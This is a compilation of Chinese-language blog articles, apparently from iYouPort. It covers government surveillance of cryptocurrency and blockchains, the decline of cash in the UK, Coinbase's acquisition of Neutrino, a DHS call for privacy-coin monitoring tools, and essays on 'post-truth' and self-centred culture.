加密货币是一种基于区块链技术的中央银行或信用卡系统之外的"货币"形式。金融交易是加密的，因此理论上个人身份是未知的。第一种加密货币比特币（BTC）由匿名实体"Satoshi Nakamoto"于 2009 年推出。如今比特币仍然是最受欢迎的加密货币，尽管已经引入了许多其他加密货币。任何搜索引擎都会让你快速获得有关系统的更多信息，但这里的重点是加密货币声称 "……不受中央银行和政府的影响"。然而，比特币是"假名的"，而不是匿名的，因为所有者不被识别为人，而是比特币地址。但是，广泛认为没有权威可以将比特币地址与人类所有者联系起来的假设至少可以说是非常可疑的。据报道，IRS 本身就使用比特币跟踪软件。

BTC 的美元价值波动很大。2016 年1月2日，它的价格为375美元。不到两年后—2017年12月17日—达到了 19,783 美元，目前它低于 3,800 美元。对比特币未来的预测肯定不同于它现在处于"死亡螺旋"或 "机构仍然看涨"的说法。但是，尽管价值波动，实地观察显示它仍然活跃，因为它在商界得到越来越广泛的接受，现在可以通过使用第三方将 BTC 转换为美元来支付俄亥俄州的比特币税。

但这就是问题：虽然比特币被展示为逃避政府审查的形式（没有人能找到中本聪）但它也有可能就是政府利益创建的。由于加州大学伯克利分校的尼古拉斯·韦弗（Nicholas Weaver）在一次采访中暗示 "比特币是BS"，比特币钱包的矿工可能是任何人或任何集体。对于一个政府权力结构来说，通过一个神话革命者来引入一个新系统是多么狡猾，多么精湛，并将其作为一种真正时髦的手段来愚弄自己。

老大哥正在杰出。

"中央银行是否会提供完全匿名的数字货币？当然不会。这样做对犯罪分子来说是一笔财富。"—— Christine Lagarde，国际货币基金组织总干事，2018年11月

拉加德在 2018年11月14日发表了题为"变革之风：新的数字货币案"的演讲。她向新世界的金融技术参与者所作的介绍是中央银行建

立数字货币体系的一个主张。

她认为，金钱本身正在改变“金融科技革命”，在这场革命中，人们会期望金钱方便、用户友好、便宜、安全，与社交媒体整合并可供个人对个人使用，“包括小额支付”。“当然”，她强调说，“为保护自己免受犯罪分子侵犯和窥探。”并且“让我更具体一点： 中央银行是否应该发行新的数字货币？在这个数字世界中，现金将扮演什么样的角色？“，拉加德反问道，”商店橱窗里的标签上写着’现金不被接受’…… 现金的需求正在下降—正如最近国际货币基金组织的工作所示的那样。再过十年，二十年，三十年，谁还想要纸币？电子货币“响应人们的需求和经济需要。”

关于个人隐私问题，拉加德试图提出一个案例：“中央银行是否会提供完全匿名的数字货币？当然不会。这样做对犯罪分子来说是一笔财富。“那么该怎么办？拉加德的解决方案是寻求“权衡”—隐私与“金融诚信”之间的“中间立场”。在国际货币基金组织的“中间立场”中，除非法律要求，否则不会向第三方或政府披露个人身份。她“忘了”说法律是谁定下的。

Rogoff 说得很清楚：“目前，真正的问题是，全球监管是否以及何时会削减私人建设的系统，这些系统对于政府追踪和监控来说是昂贵的。”IMF 计划的系统将构成一个反挑战的电子堡垒。任何关于杰斐逊主义“反叛”的暗示都将被扼杀在胚胎状态。

随着时间的推移，多方面的消息，以及使用现金的制度性抑制因素，都在使公众心中的电子交易正常化。制定无现金系统的最后一步绝对只需要突然发生的金融危机（可能是有意制造的危机），造成足够的压力，引起公众强烈要求政府解决问题。“为什么不应该采取无现金和电子货币？”鉴于过去几年的事情发展方向，这似乎已经是很自然的事了。

Cash is the enemy because privacy is the enemy, and privacy is the enemy because it makes governmental control difficult: The War Against Cash.

原文

权利组织：政府监控矛头指向加密货币，这是危险的 - iyouport

监视区块链和反现金之战

【2021年5月26日存档】警告已久的事终于还是发生了

【按】IYP的列表-2中有单独板块“监视区块链和反现金之战”，因为这个问题已经越来越重要。众所周知，对金融的监控是国家暴力的主要形式，当权者肯定不会允许能逃离国家监控的金钱流动渠道的存在。

加密货币的宗旨对国家金融监控形成了有力的挑战，也是为什么试图逃离国家暴力的人们对加密货币的支持如此之高，在短时间内推动了它的快速增长。但当权者正在迅速逼近。

我们去年推荐过一本书，《追踪加密货币交易》在下面看到介绍：

这已经成为数字权利的要点之一。如您所知，在加密货币监管方面中国是非常积极的，而中国的数字权利活动家和组织尚且没能跟上这一进度。于是我们希望通过推荐EFF这篇文章，给中国活动家一点提示。

因为，美国这样做了，所有国家就都会这样做。

从公民自由的角度来看，加密货币最重要的一个方面是它们可以为用户提供隐私保护。但是，EFF指出，美国政府越来越多地采取措施破坏加密货币交易的匿名性，并将传统银行系统的广泛金融监控导入加密货币中。

去年底，财政部金融犯罪执法网络（FinCEN）宣布了一项拟议的法规，该法规将要求所有货币服务企业 —— 其中包括加密货币交易所等 —— 收集使用自助加密货币钱包或国外交易所与其客户进行交易的所有人的身份数据。拟议的法规将要求他们保留这些数据，并在某些情况下（例如，当一天内的交易金额超过某个阈值时）将交易者的身份信息交给政府。

该提案似乎是为了紧急通过一项监视条例，因为其15天的评论期异常短暂，而且恰逢寒假。该法规的作者写道，需要这个短暂的评论期来应对这些技术对“美国国家利益的威胁”，但他们没有为这一说法提供任何事实依据。

虽然EFF仍在审查该提案，但已经有多个初步的担忧。首先，该法规将意味着在自己的钱包中存储加密货币的任何人（而不是使用专业服务的人）将实际上无法与在货币服务企业存储加密货币的人进行匿名交易。该法规很可能会扼杀人们使用自托管的钱包进行私密交易的能力。

📌 其次，对于一些加密货币，如比特币，交易数据 —— 包括用户的比特币地址 —— 将永久被记录在公开的区块链上。这意味着，如果你知道与特定比特币地址相关联的用户的名字，你就可以搜集他们使用该地址的所有比特币交易信息。在这里看到做法《如何在区块链上追踪比特币交易？》。

因此，拟议的法规要求货币服务企业收集与钱包地址相关的可识别性信息，这意味着政府可以获得大量的数据，而不仅仅是法规声称的覆盖范围。

第三，该法规可能会阻碍更广泛地采用自托管钱包和依赖它们的技术，或者至少使这些技术难以与交易所等中介机构整合。

该法规使自托管钱包用户与拥有受该法规约束的服务提供商的钱包的其他用户进行无缝互动的难度大大增加。根据拟议的规则，这些托管钱包服务将不得不收集在某些情况下与其客户进行交易的自助钱包用户的某些信息。这可能会使智能合约等自动交易变得复杂，或者在涉及分散式交易所的场景中难以实施。

尽管名字很好听，但“钱包”并不仅仅是个人的货币存储：它们是个人和计算系统在不依赖机构的情况下持有和发放货币的一种方式。该法律为这些类型的交易增加摩擦，破坏了该技术在让个人控制其财务方面的重要性。它还将削弱创新者创建具有广泛合法用途的分散式金融平台的能力。

第四，虽然拟议的规则旨在简单地将涉及现金交易的现有法规适用于加密货币，但是，它们忽视了这些数字金融工具的存在部分是为了提供与传统现金相同甚至可能更多的金融隐私性和匿名性。

在这方面，该拟议法规是美国政府将传统银行系统的金融监控扩展到

加密货币领域的更大令人不安的趋势的一部分。这项提案是在司法部公布其 “加密货币执法框架” 两个月后提出的，该框架非常清楚地表明，司法部希望破坏加密货币用户匿名交易的能力。

📌 该框架宣称 —— 而且这个条例也重复了这点 —— 仅仅使用 **Zcash** 和 **Monero** 这样的隐私币就 “表明了可能的犯罪行为”。

📌 该框架还表示，操作加密货币混币器的人，使加密货币交易更难追踪，可能要承担洗钱的刑事责任。

金融监管机构，就像美国国安局一样，他们显然怀疑任何试图保护自己的金融隐私的人都在做一些非法的事。

📌 该框架还针对所有去中心化交易所。去中心化交易所通常是一种开源软件，允许人们在没有其他方参与的情况下直接彼此交换加密货币。司法部表示，这些项目必须向 **FinCEN** 注册，并且必须 “收集和维护客户身份数据和交易数据”，否则将受到民事和刑事处罚。

2020年其他令人关注的事态发展包括：第五巡回法院决定，执法部门不需要获得搜查令就可以从加密货币交易所获得金融交易数据，以及 FinCEN 提议将机构必须收集和存储交易数据的门槛从**3000**美元降至**250**美元（加密货币或法币），以履行 “转账规则” 义务。

这些发展是对私人在线交易能力的严重攻击，并试图将传统银行系统的广泛金融监控扩展到加密货币领域。

金融记录包含了人们的个人生活、信仰和所属机构的敏感信息。

尽管如此，法院和立法者还是允许对传统银行系统进行了广泛的无证金融监控。《银行保密法 （BSA，Bank Secrecy Act）》要求银行保存所有财务记录，因为这些记录对调查很有用，1976年，最高法院（在U.S. v. Miller 案中）允许政府在没有搜查令的情况下获取银行客户的数据。现在政府正试图将这种监控扩大到包括加密货币交易。

加密货币对公民自由非常重要，因为 —— 和现金一样，它允许匿名交易。

香港抗议活动的照片显示，在地铁站排起了长队，抗议者等待用现金购票，这样他们的电子购票记录就不会追踪他们到抗议现场。这些照片强调了无现金社会是一个监控社会 —— 以及将现金的匿名性导入数字世界的重要性。

加密货币之所以重要，还因为它能抵御审查。许多传统的金融中介机构进行了任意的金融审查，切断了成人社交网络、成人书商和有争议的网站对金融机构的访问 —— 包括吹哨平台，即使这些服务完全没有违反法律。

美国监管机构最近的行动，包括这次新的规则制定建议，很有可能破坏点对点技术提供的隐私和公民自由保护。

EFF希望公民自由团体和希望保护金融隐私的任何人能够提交反对这一规则提案的意见，尽管其截止日期迫在眉睫。〇

The U.S. Government Is Targeting Cryptocurrency to Expand the Reach of Its Financial Surveillance

原文

现金退场的恐慌 - iyouport

监视区块链和反现金之战

【2019年6月13日存档】现金使用的越少，它作为后备力量的效果就越差。如今，一旦数字或电力连接下降，所有正确的地方都没有足够的现金来保持经济的长期运作。怎么办？

十年前，英国每十笔交易中有六笔是以现金方式完成的。现在只有三笔。再过五年可能就只剩下一笔了。这是最新一份报告的结论。作为对英国现金使用量迅速下降的回应这份LINK 资助的评估得出的结论是，英国几乎没有准备好完全无现金的生活，估计有17%的人口超过800万成年人无法应付。

虽然英国的流通现金数量在过去十年中已从400亿英镑飙升至700亿英镑，而英国人整体继续看重现金，其中97%的人仍持有现金和另外85%的人表示会在家里保留一些现金，而大多数当前的趋势—特别是技术趋势—对实物现金来说都是不利的：

在过去*10*年中，现金支付从所有支付的占比*63*%下降到了*34*%。银行和支付提供商行业协会英国金融公司预测，到*2027*年，现金将降至支付的*16*%。

*2017*年的借记卡支付额为*132*亿美元，而现金支付额为*130*亿美元，这是有史以来第一次将现金降至了第二位。*2018*年*LINK ATM*现金提款数量较*2017*年下降*5*%，现金提取总额下降*3.5*%。

其中一个显而易见的原因是，ATM 机在本地正在以每月300台左右的速度消失，使得农村地区的消费者难以获得现金。银行希望推动消费者采用替代支付方式，这些方法更便宜，更便于银行管理，并提供比现金更多的费用。当然，最明显的“价值”是被追踪的便利。

访问ATM的速度下降只是冰山一角。来自瑞典和中国的经验表明，商家和零售商的现金接受下降问题比现金获取问题更具威胁性。

2017年，英国IC卡的使用量增长了99%，达到43亿美元；在25–34岁年龄段中特别受欢迎，移动支付也是如此。截至2017年底，在这个只有6600万人口的国家发行了近1.19亿张IC卡。

现金的维护很快就会变得更糟。该报告确定了可能进一步抑制其使用的八个因素：

- 刷卡支付的接受性大幅上涨；
- 各种商店和服务都在停止接受现金；
- 在线购物的数量一直在增加；
- 公共交通工具普遍采取了刷卡支付和手机APP；
- 零售商和银行处理现金的问题和成本，特别是随着它变得不那么常见时；
- 宽带和移动连接的覆盖趋于饱和；
- 银行分行和ATM机正在加速关闭；
- 新的途径使数字支付变得更加容易，例如危险的生物识别技术……

相比之下，作者只能提出四个因素或许有希望增加现金的使用量：

- 由于系统重复故障，消费者对数字支付失去信心；
- 消费者越来越关注隐私问题；
- 显著负利率；
- 重大经济危机。

英国并不是唯一面临现金使用减少之挑战的国家。在许多发达经济体中，从瑞典、丹麦、芬兰到荷兰、加拿大、法国和美国，现金使用率都已远低于50%。当然，还有一些重要的例外，包括德国、奥地利、意大利和西班牙，其中现金仍然占销售点购买量的80%以上。

但在现金使用率下降最快的情况下，主要风险已经变得非常明显，包括金融排斥和系统漏洞。

“除非我们做好充分的准备，否则进入无现金社会肯定有严重的风险——不仅仅是个人的，而是社会的，”前英国金融监察官 Natalie Ceeney 说。“我们发现了农村社区生存能力的风险，个人独立性的丧失，以及金融滥用和债务风险的增加。”

在 Review 的调查中，47% 的受访者表示他们很难在没有现金的情况下生活。虽然 34% 的受访者似乎对前景感到满意，但显然有数百万人被抛在后面，特别是最脆弱的人群。

人们普遍认为老年人最依赖现金，但该报告的作者发现，贫困而不是年龄才是现金依赖的最大决定因素。

尤其需要警惕的是系统漏洞的风险。从Visa去年6月一整天的挂断到TSB永无休止的IT梦魇升级，各种漏洞故障令人们感觉恐慌。当数字或在线系统出现故障时，只有现金才是消费者的唯一依靠，因为它既广泛又无需电力或互联网。

但是，现金使用的越少，它作为后备力量的效果就越差。报告警告称，即使是现在，如果数字或电力连接下降，所有正确的地方都没有足够的现金来保持经济的长期运作。

“将现金视为商业问题已经不够了。它需要被视为英国基础设施的核心部分，我们已经不能等待很长时间了。一旦基础设施消失，或社区受到伤害，重建就很困难。但如果我们现在采取行动，我们就有希望阻止危害发生，并为一个现金较低的世界做好准备，而不会造成社会和经济损失”，Ceeney 说。

为此，该报告提出了五项建议，以确保现金在可预见的未来继续生存，并最终包括数字支付占主导地位的社会中的每个人：

1、保证消费者获得现金。消费者应该能够在他们生活或工作的任何地方获得现金。至关重要的是，这是关于获取现金，而不仅仅是获取自动取款机，因为作者认为“提供现金存取的新方式的巨大潜力可以扩大访问范围，并有助于保持主要商业街的活力。”

2、无论是当地的咖啡店还是大型公用事业提供商，都要采取措施保证接受现金。如果商店和服务提供商停止接受现金，处理它的经济状况将会崩溃。这将引发多米诺骨牌效应，随着现金业务的成本攀升，现金使用迅速消退，最终会将那些依赖现金的人排除在这些服务之外。 51％的受访者表示强迫企业接受现金是一个好主意，只有24％的人反对。

3、对现金基础设施实施彻底改变。这意味着从商业模式过渡到更多的“有效”方法，这有助于降低企业和银行的现金处理成本，正如瑞典最近提出的那样。

4、政府、监管机构和行业必须确保解决方案不仅适用于80％，而且适用于100％的社会。

5、要有明确的政府现金政策，由联合监管方法支持，将现金视为一

种制度。

这是一场艰难的战役。即使英国政府和金融监管机构有机会采取行动，他们的工作也将被削减，因为反对现金的背后是强大的金融机构、信用卡公司和科技巨头。

“SERIOUS RISKS OF SLEEPWALKING INTO A CASHLESS SOCIETY BEFORE WE’RE READY—NOT JUST TO INDIVIDUALS, BUT TO SOCIETY.” TRANSITION TO CASHLESS SOCIETY COULD LEAD TO FINANCIAL EXCLUSION AND SYSTEM VULNERABILITY, STUDY WARNS

原文

监视区块链 - iyouport

Hackingteam监视区块链和反现金之战

【 2019年5月30日存档】当权者对区块链的监视需求与日俱增，现在他们毫不掩饰这点，明目张胆地雇佣全球最臭名昭著的间谍软件制造者来实现监视能力。谁又上了头条？

2月份，当加密货币行业巨头 Coinbase 在宣布收购一家名为 Neutrino 的小型创业公司时引发了公众愤怒。

通常情况下，这样的收购可能会看起来比较普通，但是 Neutrino 可不是一般的创业公司。该公司由 Hacking Team 的三名前雇员创建，该团队是一家头牌臭名昭著的意大利监控技术供应商，曾多次向暴政销售间谍软件，其中包括埃塞俄比亚、沙特阿拉伯和苏丹等专制国家。在 **IYP 分类知识列表2**中看到 **Hacking Team** 的更多详细资料。

这个 Neutrino 为执法和金融机构开发技术，专门调查和跟踪区块链上的交易。Coinbase 是世界上买卖加密货币的最大平台之一，因此在这里能追踪到大多数交易。对区块链的监视近年来是间谍机构的重点目标，在上述列表中找到“监视区块链和反现金之战”栏目。

该公司声称能够监控和跟踪比特币—比特币是相对容易追踪的—但该公司也可以追踪隐私导向的币种如 Monero。2017年，该公司得出结论，破坏性勒索软件 WannaCry 背后的朝鲜黑客兑现了他们的比特币，并将其转变成了 Monero。

Marco Valleri，黑客社区中被称为“NaGa”，以及被称为“ALoR”的 Alberto Ornaghi，分别是Neutrino 的首席研究官和首席技术官。在21世纪初，Valleri 和 Ornaghi 开发了 Ettercap，这是作为 Hacking Team 技术基础的软件。 Neutrino 首席执行官 Giancarlo Russo 曾经是 Hacking Team 的首席运营官。

Coinbase 决定与曾经为政府开发间谍软件的人合作，某些区块链行业参与者非常不爽。

“当我说让更多的信息安全人员参与’加密’空间会很棒时，我并不是说美国最大的交易所应该收购一个由前 Hacking Team 成员运营的间谍工具公司，但结果却是这样，”区块链创业公司 Clovyr 的首席执行官 Amber Baldet 在推特上说。

Baldet 在网上聊天中告诉 Motherboard，“考虑到 Coinbase 开设的账户数量，他们如何选择实施合规工具、他们与执法部门的合作关系，将对很多人产生影响。”

加拿大公司 Bull Bitcoin 的联合创始人弗朗西斯·普利奥特（Francis Pouliot）更加直言不讳，他在一条推文中称，**Hacking Team** 是一个“亲政府的骇客雇佣军公司，为沙特阿拉伯提供强大的监视工具/咨询服务以追踪/消除持不同政见者”**……** “快跑！”

Coinbase 发言人在给主板的一份声明中表示，该公司“不会宽恕，也不会捍卫 Hacking Team 的行为”。

“我们知道 Neutrino 的联合创始人之前曾在 Hacking Team 工作，我们在安全、技术和招聘方面进行了审核，”发言人说。

但发言人解释说，Neutrino 的技术对 Coinbase 来说“太重要了”。区块链取证分析（就是监视）是一个新兴的行业，Coinbase 决定在内部实现该功能。

“越来越多的第三方区块链分析公司正在向他们所服务的加密货币公司请求客户数据。对于 Coinbase 来说，重要的是将内部功能用于完全控制和保护客户的数据，而 Neutrino 的技术是我们在实现这一目标的空间中遇到的最好的技术，“发言人通过电子邮件说。

Neutrino 的联合创始人没有立即回应评论请求。

开发和销售像 Hacking Team 这样的间谍软件本身并不违法，尽管它可能非常危险。摩洛哥政府一直在使用 **Hacking Team** 软件监视一个名为 **Mamfakinch** 的公民记者网站。该网站的一位创始人表示，独立新闻网站随后被关闭，因为贡献者害怕他们成为政府监控的目标。

有一个蓬勃发展的行业致力于为政府机构提供工具来攻击和监视计算机和手机。目前，这个行业几乎不受监管，这为全球政府针对人权活动家和持不同政见者的监视软件的扩散敞开了大门。

Former Hacking Team Members Are Now Spying on the Blockchain

for Coinbase. Coinbase said it’s aware of the Neutrino founders’ controversial past, but their technology is the best the major exchange has encountered.

原文

监视进入区块链 - iyouport

监视区块链和反现金之战

【2018年12月12日存档】他们希望将资源用于创建可以监视数字资产流动的区块链取证应用程序。之前的努力已经解决了比特币追踪问题，现在该机构希望将监控工具用于加密货币，如 monero 和 zcash。

美国国土安全部（DHS）发布了 2019 财年的预先征集文件。在这个长达27页的文件中，该组织解释说，他们希望将资源用于创建可以监视数字资产流动的区块链取证应用程序。之前的努力已经解决了比特币追踪问题，现在该机构希望将监控工具用于加密货币，如 monero 和 zcash。

国土安全部已经提交了一份关于其小企业创新研究计划的提案，该计划还纳入了其科学和技术平台。

该文件涵盖了网络安全，通信，物联网（IoT），传感器和区块链技术等主题。国土安全部解释说，分布式分类帐技术（DLT）将来可能会用于商业和政府应用，但其中一些区块链允许对老大哥不利的匿名和交易混淆方法。

该机构希望通过以下三个阶段来获得无盲点的监视能力。

第一阶段是研究人员和程序员为执法机构设计区块链分析生态系统，或为此目的修改现有的 DLT 分析工具。新工具必须能够专门为隐私货币（如 monero 和 zcash）提供监控架构。

第二阶段是开发一个可以演示的区块链监控原型，包括针对 “没有外部数据、外部数据和另一个区块链平台的可疑交易”的分析。最后，第三阶段将包括商业和政府级区块链监控应用。

征集函强调，目前起草的提案还需要细化，可能会在12月19日正式公布。该提案在区块链和 DLT 部分详细说明了执法需要加快法医分析和对区块链交易监控的速度。“这种分析可以通过多种方式进行处

理，并且可以考虑不同的数据情况用例，具体取决于是否有来自链下交易的附加数据”。

US Law Enforcement Wants Blockchain Surveillance Tools for Privacy Coins: Throughout the 27-page letter, the organization explains that it wants to dedicate resources toward creating blockchain forensic applications that can analyze privacy-centric digital asset movements. Prior efforts have addressed bitcoin analytics and now the agency wants surveillance tools for cryptocurrencies like monero and zcash.

原文

"后真相"概念为什么应该终结 - iYouPort

你如何正在被互联网所改变-媒介效应

“真相已死”近年来成为了某些群体的普遍绝望，但它是真的吗？人们为什么满足于宣称”后真相”？这一流行语为什么应该被终结？

“现实本身正在消失”，这句话也许是我们能承认的最后一个现实。它让人们无法再接收像空气一样重要的真相，已经在认知泡沫中窒息了，在不同的竞争性现实中彼此切断、隔离。

世界本身的实质正在破碎，随之而来的是新闻、民主、甚至文明的破碎。取而代之的是我们拥有“后真相”、现实冷漠和其他事实；有虚假新闻、虚假音频、虚假视频、推特上的假粉丝和 Facebook 上的假朋友；有机器人伪装成人类和人类伪装成机器人；图像会越来越多地被“增强”、被操纵、被强化 ……也许我们唯一的共同现实就是一个虚假的世界？

上述至少是近年来某些群体的普遍绝望，他们渴望一个“共享的、共识的现实”。未来主义者 Mark Pesce 不仅警告真相的终结，而且警告“只剩下最后几天了”；” The “end of reality” 是大西洋月刊闪亮的大标题；一篇技术评论关于深度造假的文章引用了纽约大学教授的话说，”如果我们不小心，深度造假可能会导致世界末日“……就连佛罗里达州参议员 Marco Rubio 最近也表示：“在过去，如果你想要威胁美国，你需要10艘航空母舰和核武器以及远程导弹，但今天，你需要的一切只是制作一个非常逼真的假视频，就能操纵选举，甚至可以使整个国家陷入巨大危机“……

今年早些时候，查理·沃泽尔（Charlie Warzel）和阿维夫·奥瓦迪亚（Aviv Ovadya）发布的 BuzzFeed 报道也许是最糟糕、最令人生畏的警告，该报道声称即将到来的“世界末日”，“真的会吓到你。”

他们将虚假媒体描述为接近“成瘾性和毒性错误信息的关键阈值”，这“可能会破坏人类语话的基石：事实的可信度，“将假新闻比作曼哈顿计划和在第二次世界大战中杀死日本数十万人的原子弹。

随着认知的反乌托邦主义流派的出现，后真相时代一词变得如此流行，一切都是危险的伪造，责任通常被归于唐纳德特朗普、社交媒体、或—令人难以置信的—后现代社会理论。但是所谓的“以事实为基础的社区”很少能够提供令人信服的证据，以证明我们目前的真相危机是彻底的不可逆转的。它真的是人类历史上第一次出现的同类危机吗？并不是。

前纽约时报首席评论家 Michiko Kakutani 出版了一本名为“真相之死”的书，Kakutani 认为，社交媒体过滤气泡是民族主义、部落主义、错位、对社会变革的恐惧、以及仇外心理崛起的根本性原因，他们认为特朗普的欺骗行为的成功只能通过真相的失败来解释。

这本书和其他相关作品一样充满了夸张，对人类的“原始”冲动有一些草率的暗示，作为对人类认知习惯的解释。并且有关于“拥抱主观性”的标准型抱怨，情感被置于高过事实的首要位置，以自拍文化来证明，这是纽约时报最喜欢的表达方式。

Kakutani 将现实的部分归咎于“后现代主义者”，这是一群学者，以某种方式说服文化转离事实和证据。目前尚不清楚哪些后现代理论正在与之接触，以及它们与我们当前现实的因果关系究竟是什么。更确切地说，Kakutani 将后现代主义想象成了一个统一的、毁灭性的幽灵，其理论在某种程度上既模糊又不可思议。后现代主义的替罪羊正在讲述—它有助于将虚假的新颖性置于语境中，即 当下这个虚假的世界前所未有。

Kakutani 错过了后结构和后现代思想长期以来对科学中立性和客观性的无根据主张的回应。当 Kakutani 宣称“研究人员的文化背景可能影响可验证的科学事实是荒谬的”时，她忽视了社会建构主义者的工作，他们已经证明了现实是如何通过实践得出的而不是事先简单地给出的。

我们目前的时刻往往误解了启蒙运动，它揭示了一个由认识教条统治的世界，这个世界由宗教和皇室传承，将真理视为冻结的、完整的和无可争辩的事物。启蒙运动是将真理视为一种既不是给定的但又需要努力处理的东西，而且可能处理失败。启蒙运动经验本身就是现实的危机。

认知不确定性不是人类最新经历的事。科学与民主的现代崛起、工业革命、全球化、交通运输、城市化和大众传媒，进一步增加了这种不确定性，提供了对其他文化、思想和知识方式的接触。

人们常说 Neil Postman 的 Amusing Ourselves to Death（1985）是在描述一个世界的预言，在那里，真相不仅仅是隐藏的而且在很大程度上无关紧要的。但他并没有像描述他的现在那样预测未来：里根时代以印刷版新闻和电视的信息经济为主导。这是网络诞生的前夕，并且可以预见它会被复制。今天许多旧媒体先锋们抱怨的后真相互联网，显然屏蔽了过去。

并且，在 **Postman** 之前，其他思想家也对他们自己的时代得出了相同的结论。历史学家丹尼尔·J·布尔斯廷（Daniel J. Boorstin）在“影像”（The Image，1962）中描述了他那个时代的虚假性，其中包括无线电新闻等；更早期，理论家齐格弗里德·克拉考尔（Siegfried Kracauer）在第一次和第二次世界大战之间的年份里警告报纸和杂志中图像的崛起正在扭曲事实；理查德霍夫斯塔特（Richard Hofstadter），在“美国生活中的反智主义（1963年）”一书中找到了许多同样的趋势。

只要西方存在大众媒体，人们就会抱怨促进了社会的不确定以及失去一个真实可知的世界。换句话说，我们目前关于失去现实的谈话是熟悉的；虽然每个作家都试图让自己的观点听起来很有创意，但这种担忧在人类历史上是常青树。如果“Infocalypse”这个词很有用，那么它就是现代性的代名词，在这里，真相总是被描述为存活于二十年前而且今天已经死去。

为什么真相已死的 meme 现在如此热门？它兜售的是真相作为一种身份，事实作为一种审美。最重要的是，主流媒体的推动：纽约时报在其网站上出售了一件“Truth”的T恤。

如此多的记者和权威人士未能准确地描述我们当下的世界，而且无法勾勒出对我们现实的连贯描述，可以感觉到根本不可能达成连贯性。但世界并不像他们所认为的那么模糊。也许我们更愿意认为当前的政治条件是一个残酷的笑话或超现实的梦境，但塑造这个世界的动机是真诚的，它们的影响非常明显。而不是将特朗普的胜利归功于后现代的柏忌，似乎更准确的描述应该是指出他赢了，因为他是公开的种族主义者，而且这种立场在国内已经足够流行。也许所谓的“后真相”只是错误的条件乘以你自己的专业知识。

那些最无法理解世界形象的评论家和权威人士们，无法看到即将发生的事或者我们将要去的地方，他们正在大声宣布的是根本就没有真相，可能是为了维持自己的权利：“我没有错，不—这是被撕裂的现实，世界本身突然变得不可靠了”。

“这是一个苹果”，美国有线电视新闻网的一则广告上有一张苹果的照片，“有些人可能会试着告诉你它是香蕉……但事实并非如此，”这样的表演就是说事实就像识别水果一样简单。最后，一切都是假的和后真相的叙述，试图扩大越来越无关的知识生产者的合法性。而对不断增长的威权主义的真正批评被减少到单纯的拼写检查。

真相已死对其很多宣称者都是有利的。如果现实本身处于危机之中，那么你就可以将自己定位为救世主，混乱龙的杀手，只需继续做你已经在做的事：消费相同的消息、误导选举、支持那些失败的政治家和政治战略，漂浮在那些什么都不想做只是抱怨泡沫的人制造的泡沫中。

回忆哲学家乔治·巴塔耶（**Georges Bataille**）对“非知识”概念的定义，即 知识的创造总是意味着新的无知领域的相应创造。信息的每次革命也都是错误信息的革命。信息永远不是能轻松回答问题的亮点，它还会产生新的未知数，以及未知的可能性。

为人们提供更多数据和更多信息，与创造新信息和“纠正”信念相比，可能会产生更多新的阅读和叙述。正如 Rob Horning 最近所说的那样，“任何信息，无论在特定方面看起来多么具有破坏性，都可以被任何方面用于任何政治用途；事实上，事实没有任何内在意义。“

随着现代性的每一项新技术的出现，我们重新认识到这种信念先于数据，而不是来自数据。

仅仅为虚假悲愤是一种混乱的、无关的、自我放弃的而不是理解不确定性的感觉，它忽略了新想法、新声音和我们目前无法理解的新可能性的来源。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

nobody cares 的背后究竟是什么 - iYouPort

你如何正在被互联网所改变-媒介效应

从个人情感到政治、商业，如今生活的每一方面，以自我为中心的文化塑造了新的常规和预期，社会性正高速下降。人们无法做出长期承诺，对所有不能直接或立即与自己发生联系的人和观点越来越没兴趣，甚至无法容忍它们的存在。同理心弱化了，**“HELP”**没人理的调侃漫画在网络上热传，人们越来越难以相信人类之间存在共同点，歧视问题再次高涨触目惊心**…**这一切是如何造成的？

「图」

「图」

日前，一位网友在一面石墙上用马克笔写上了两个字：nobody cares。几分钟内就在Tumblr获得了近70万的点赞，足见寂寞无助之感是有多大众。现在是2017年，自我中心主义前所未有的至高点。

当被问及“理想是什么”时，一名四五岁的孩子仰着天真稚气的脸坚定的说：“赚大钱，做王健林”。

魔兽世界最热的时候我采访过一些玩家，在问及游戏的魅力时他们说：“在游戏中，我可以做任何我想做的事，去任何我想去的地方，我是英雄、是超人和上帝”。那是一副骄傲和自嘲混杂在一起的表情。

以下这些头疼病定有一款适合你：

网络声援高调、高热，具体动员却少有响应；

知识分子和学者们猛追热点、只求点击量，放弃理想主义追求，从公众社会中隐退； 极端主义高涨，政治前所未有的针锋相对； 民粹政客纷纷崛起、地摊伪媒体膘肥体壮，真相是什么鬼？让你开心才是唯

一目的； 痴迷电子游戏的人越来越多，网吧猝死事件频频登陆新闻； 没人愿意讲理，一切都可用“关你屁事和关我屁事”来解释； 男朋友劈腿让你措不及防、女朋友剁手俩富二代绑一块都不一定养得起； 亲戚朋友不再走动，逢年过节抱着手机就够了，身边一片冷清； 不发红包没人会搭理你，甭管你说的多正确、立场多正义…… 这个社会究竟是怎么了？

「图」

「图」

私人订制的生活

前面的情绪有点低落了，现在扭转一下，说点高兴的玩意：你有钱了。

人们真的有钱了，大多数人的薪金收入都能让他们的父辈嗔目结舌，中产阶级体量大增，奢侈品市场跃跃欲试。更好的消息是，科技飞跃了，帮你从各种繁重的工作生活中解脱出来，充裕的时间用来做什么？当然是“为自己而活”。

一切都是为你而来！整个经济大厦的架构已悄然改变，从工业社会的生产者经济转变为后工业社会的消费者经济，它围绕着我们每个人的个人兴趣、个人形象和内在的幻想而运作。过上私人订制的生活已经成为欧美日本等发达国家的正常需求，也成为中国中产的潮流走势：

你可以用药物和音乐来调节自己的情绪；让食物去适应你的过敏症和生活观念；你可以使用可穿戴设备、量身定制的健身计划、抽脂手术和植入式芯片来改造自己的身体；你可以选择不同的车型、个性家居装修、和潮流DIY衣着来表达自己的品味和态度；不用辩论了，你随时可以找到符合自己政治观点的媒体平台；沉醉于小圈子吧，你甚至可以打造一个自己的社交网络，确保你发的每一条信息、每个状态都能获得赞美……

整个世界都在围着你转，以自我为中心的经济气吞山河。

从个人情感到政治、商业，如今生活的每一方面，以自我为中心的文化塑造了新的常规和预期，社会性正高速下降。人们无法做出长期承诺，对所有不能直接或立即与自己发生联系的人和观点越来越没兴趣，甚至无法容忍它们的存在。同理心弱化了，“HELP”没人理的调侃漫画在网络上热传，人们越来越难以相信人类之间存在共同点，歧视

问题再次高涨触目惊心……某些信念正在崩塌，#theNewNazi 的标签给民主制度带来了严峻的挑战。

「图」

「图」

